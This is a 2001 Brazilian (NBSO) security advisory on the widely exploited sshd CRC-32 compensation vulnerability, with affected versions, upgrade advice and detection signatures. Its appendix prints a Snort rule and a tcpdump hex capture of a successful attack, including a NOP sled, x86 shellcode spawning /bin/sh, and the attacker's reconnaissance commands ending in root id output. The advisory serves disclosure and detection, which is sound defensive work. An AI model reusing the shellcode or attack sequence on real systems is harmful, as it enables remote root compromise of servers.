Grupos de Trabalho - Documentos do GT-S

Alerta de Segurança 2001-11-16
NIC BR Security Office <nbso@nic.br >
Vulnerabilidade remota no sshd sendo amplamente explorada


1. Introdução

O SSH é um protocolo que tem sido muito utilizado para substituir outras formas de login remoto. Nos últimos meses diversos problemas de segurança, em diversas versões de ssh, foram relatados.

Este alerta tem o intuito de:
  • reforçar a necessidade de atualização das versões de ssh;
  • salientar que existem programas que exploram estas falhas e que estão sendo amplamente utilizados para comprometer máquinas vulneráveis;
  • mostrar assinaturas que podem ser úteis para identificar máquinas comprometidas.

2. Descrição

Nas últimas semanas aumentou o número de máquinas que foram comprometidas por estarem com versões vulneráveis do ssh. O NBSO teve acesso a diversos artefatos deixados por invasores em máquinas comprometidas. Dentre o material encontrado vale ressaltar a presença de:

  • exploits para explorar a vulnerabilidade do "CRC-32 compensation attack";
  • arquivos contendo mapeamento de versões de sshd de diversas redes brasileiras e respectivas ferramentas de scan.
  • Nessas mesmas redes foi possível capturar a assinatura do exploit em ação.

3. Assinaturas

Assinaturas de tentativas bem como de um ataque bem sucedido são mostradas no Apêndice e na seção "informações adicionais".

4. Sistemas Afetados

As seguintes versões são vulneráveis: 

OpenSSH: versões menores que 2.3.0;
ssh.com: versao 1.2.24 ate' 1.2.31 (ssh-2.x não é vulnerável)

Mais detalhes bem como outras implementações de ssh afetadas estão listados no seguinte advisory da CORE-SDI:
https://www.core-sdi.com/pressroom/advisories_desplegado.php?idx=81&idxsection=10

Para descobrir sua versão de ssh digite: ssh -V

5. Impacto

Acesso de root remoto em máquinas rodando versões vulneráveis de ssh.

6. Solução

Recomenda-se atualizar o ssh em uso para a ultima versão disponível.

7. Informações adicionais

Nesse mesmo período a comunidade internacional de segurança também tem lançado alertas sobre o crescente numero de comprometimentos de máquinas através de versões vulneráveis de ssh:

8. Agradecimentos

Pedro A M Vazquez
Nelson Murilo
Mario L Lacroix
Fabio David

Apêndice

Nas mensagens geradas pelo syslog de maquinas atacadas foram encontradas as entradas:

foo sshd[xxxxx]: Disconnecting: Corrupted check bytes on input.
foo sshd[xxxxx]: fatal: Local: Corrupted check bytes on input.
foo sshd[xxxxx]: fatal: Local: crc32 compensation attack: network attack detected

A seguinte regra do snort detecta a resposta de uma máquina comprometida com sucesso por este exploit:

alert tcp any any - > any any \
(msg:"MISC - MISC - id check returned root"; content: "uid=0(root)";)

Trecho de um ataque bem sucedido capturado via tcpdump. Esse trecho refere-se apenas a parte final quando o invasor obtém a shell de root:

17:52:53.658100 127.0.0.1.1182  >  127.0.0.1.22: tcp 1732 (DF)
										0000: 4500 06f8 3274 4000 4006 038a 7f00 0001 E...2t@.@.......
										0010: 7f00 0001 049e 0016 ed2e 58fb ed62 8b60 ..........X..b.`
										0020: 8018 7960 9890 0000 0101 080a 0003 9637 ..y`...........7
										0030: 0003 9637 9090 9090 9090 9090 9090 9090 ...7............
										0040: 9090 9090 9090 9090 9090 9090 9090 9090 ................

										[98 linhas idênticas apenas com NOPs (0x90) removidas]

										0670: 9090 9090 9090 9090 9090 9090 9090 9090 ................
										0680: 31db b307 89e2 6a10 89e1 5152 68fe 0000 1.....j...QRh...
										0690: 0089 e131 c0b0 66cd 80a8 ff74 0b5a f6c2 ...1..f....t.Z..
										06a0: ff74 4efe ca52 ebeb 5b31 c9b1 03fe c931 .tN..R..[1.....1
										06b0: c0b0 3fcd 8067 e302 ebf3 6a04 6a00 6a12 ..?..g....j.j.j.
										06c0: 6a01 53b8 6600 0000 bb0e 0000 0089 e1cd j.S.f...........
										06d0: 806a 006a 0068 2f73 6800 682f 6269 6e8d .j.j.h/sh.h/bin.
										06e0: 4c24 088d 5424 0c89 2189 e331 c0b0 0bcd L$..T$..!..1....
										06f0: 8031 c0fe c0cd 8000                     .1......

										17:52:53.658606 127.0.0.1.22  >  127.0.0.1.1182: tcp 0 (DF) [tos 0x10]
										0000: 4510 0034 3275 4000 4006 0a3d 7f00 0001 E..42u@.@..=....
										0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fbf .........b.`.._.
										0020: 8010 1e40 63a0 0000 0101 080a 0003 9637 ...@c..........7
										0030: 0003 9637                               ...7

										17:52:53.658813 127.0.0.1.22  >  127.0.0.1.1182: tcp 0 (DF) [tos 0x10]
										0000: 4510 0034 3276 4000 4006 0a3c 7f00 0001 E..42v@.@..<....
										0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fbf .........b.`.._.
										0020: 8010 3c80 4560 0000 0101 080a 0003 9637 ..<.E`.........7
										0030: 0003 9637                               ...7

										17:52:53.659391 127.0.0.1.22  >  127.0.0.1.1182: tcp 0 (DF) [tos 0x10]
										0000: 4510 0034 3277 4000 4006 0a3b 7f00 0001 E..42w@.@..;....
										0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fbf .........b.`.._.
										0020: 8010 7900 08e0 0000 0101 080a 0003 9637 ..y............7
										0030: 0003 9637                               ...7

										17:52:55.651755 127.0.0.1.1182  >  127.0.0.1.22: tcp 17 (DF)
										0000: 4500 0045 3278 4000 4006 0a39 7f00 0001 E..E2x@.@..9....
										0010: 7f00 0001 049e 0016 ed2e 5fbf ed62 8b60 .........._..b.`
										0020: 8018 7960 cbfa 0000 0101 080a 0003 96ff ..y`............
										0030: 0003 9637 6563 686f 2043 4852 4953 2043 ...7echo CHRIS C
										0040: 4852 4953 0a                            HRIS.

										17:52:55.652233 127.0.0.1.22  >  127.0.0.1.1182: tcp 12 (DF) [tos 0x10]
										0000: 4510 0040 3279 4000 4006 0a2d 7f00 0001 E..@2y@.@..-....
										0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fd0 .........b.`.._.
										0020: 8018 7900 35dd 0000 0101 080a 0003 96ff ..y.5...........
										0030: 0003 96ff 4348 5249 5320 4348 5249 530a ....CHRIS CHRIS.

										17:52:55.652433 127.0.0.1.1182  >  127.0.0.1.22: tcp 68 (DF)
										0000: 4500 0078 327a 4000 4006 0a04 7f00 0001 E..x2z@.@.......
										0010: 7f00 0001 049e 0016 ed2e 5fd0 ed62 8b6c .........._..b.l
										0020: 8018 7960 6f2f 0000 0101 080a 0003 96ff ..y`o/..........
										0030: 0003 96ff 6563 686f 3b20 6563 686f 2027 ....echo; echo '
										0040: 2a2a 2a2a 2a20 594f 5520 4152 4520 494e ***** YOU ARE IN
										0050: 202a 2a2a 2a2a 273b 2065 6368 6f20 3b20 *****'; echo ;
										0060: 686f 7374 6e61 6d65 203b 2075 6e61 6d65 hostname ; uname
										0070: 202d 613b 2069 640a                      -a; id.

										17:52:55.653006 127.0.0.1.22  >  127.0.0.1.1182: tcp 1 (DF) [tos 0x10]
										0000: 4510 0035 327b 4000 4006 0a36 7f00 0001 E..52{@.@..6....
										0010: 7f00 0001 0016 049e ed62 8b6c ed2e 6014 .........b.l..`.
										0020: 8018 7900 fce5 0000 0101 080a 0003 96ff ..y.............
										0030: 0003 96ff 0a                            .....

										17:52:55.653264 127.0.0.1.22  >  127.0.0.1.1182: tcp 23 (DF) [tos 0x10]
										0000: 4510 004b 327c 4000 4006 0a1f 7f00 0001 E..K2|@.@.......
										0010: 7f00 0001 0016 049e ed62 8b6d ed2e 6014 .........b.m..`.
										0020: 8018 7900 8bab 0000 0101 080a 0003 96ff ..y.............
										0030: 0003 96ff 2a2a 2a2a 2a20 594f 5520 4152 ....***** YOU AR
										0040: 4520 494e 202a 2a2a 2a2a 0a             E IN *****.

										17:52:55.653471 127.0.0.1.22  >  127.0.0.1.1182: tcp 1 (DF) [tos 0x10]
										0000: 4510 0035 327d 4000 4006 0a34 7f00 0001 E..52}@.@..4....
										0010: 7f00 0001 0016 049e ed62 8b84 ed2e 6014 .........b....`.
										0020: 8018 7900 fccd 0000 0101 080a 0003 96ff ..y.............
										0030: 0003 96ff 0a                            .....

										17:52:55.656806 127.0.0.1.22  >  127.0.0.1.1182: tcp 4 (DF) [tos 0x10]
										0000: 4510 0038 327e 4000 4006 0a30 7f00 0001 E..82~@.@..0....
										0010: 7f00 0001 0016 049e ed62 8b85 ed2e 6014 .........b....`.
										0020: 8018 7900 3150 0000 0101 080a 0003 96ff ..y.1P..........
										0030: 0003 96ff 666f 6f0a                     ....foo.

										17:52:55.660045 127.0.0.1.22  >  127.0.0.1.1182: tcp 65 (DF) [tos 0x10]
										0000: 4510 0075 327f 4000 4006 09f2 7f00 0001 E..u2.@.@.......
										0010: 7f00 0001 0016 049e ed62 8b89 ed2e 6014 .........b....`.
										0020: 8018 7900 8e0d 0000 0101 080a 0003 96ff ..y.............
										0030: 0003 96ff 4c69 6e75 7820 666f 6f20 322e ....Linux foo 2.
										0040: 322e 3136 2d32 3220 2331 2054 7565 2041 2.16-22 #1 Tue A
										0050: 7567 2032 3220 3136 3a34 393a 3036 2045 ug 22 16:49:06 E
										0060: 4454 2032 3030 3020 6936 3836 2075 6e6b DT 2000 i686 unk
										0070: 6e6f 776e 0a                            nown.

										17:52:55.665203 127.0.0.1.22  >  127.0.0.1.1182: tcp 88 (DF) [tos 0x10]
										0000: 4510 008c 3280 4000 4006 09da 7f00 0001 E...2.@.@.......
										0010: 7f00 0001 0016 049e ed62 8bca ed2e 6014 .........b....`.
										0020: 8018 7900 5a8d 0000 0101 080a 0003 9700 ..y.Z...........
										0030: 0003 96ff 7569 643d 3028 726f 6f74 2920 ....uid=0(root)
										0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root) grou
										0050: 7073 3d30 2872 6f6f 7429 2c31 2862 696e ps=0(root),1(bin
										0060: 292c 3228 6461 656d 6f6e 292c 3328 7379 ),2(daemon),3(sy
										0070: 7329 2c34 2861 646d 292c 3628 6469 736b s),4(adm),6(disk
										0080: 292c 3130 2877 6865 656c 290a           ),10(wheel).

										17:52:55.671619 127.0.0.1.1182  >  127.0.0.1.22: tcp 0 (DF)
										0000: 4500 0034 3281 4000 4006 0a41 7f00 0001 E..42.@.@..A....
										0010: 7f00 0001 049e 0016 ed2e 6014 ed62 8c22 ..........`..b.&
										0020: 8010 7960 05d7 0000 0101 080a 0003 9701 ..y`............
										0030: 0003 96ff                               ....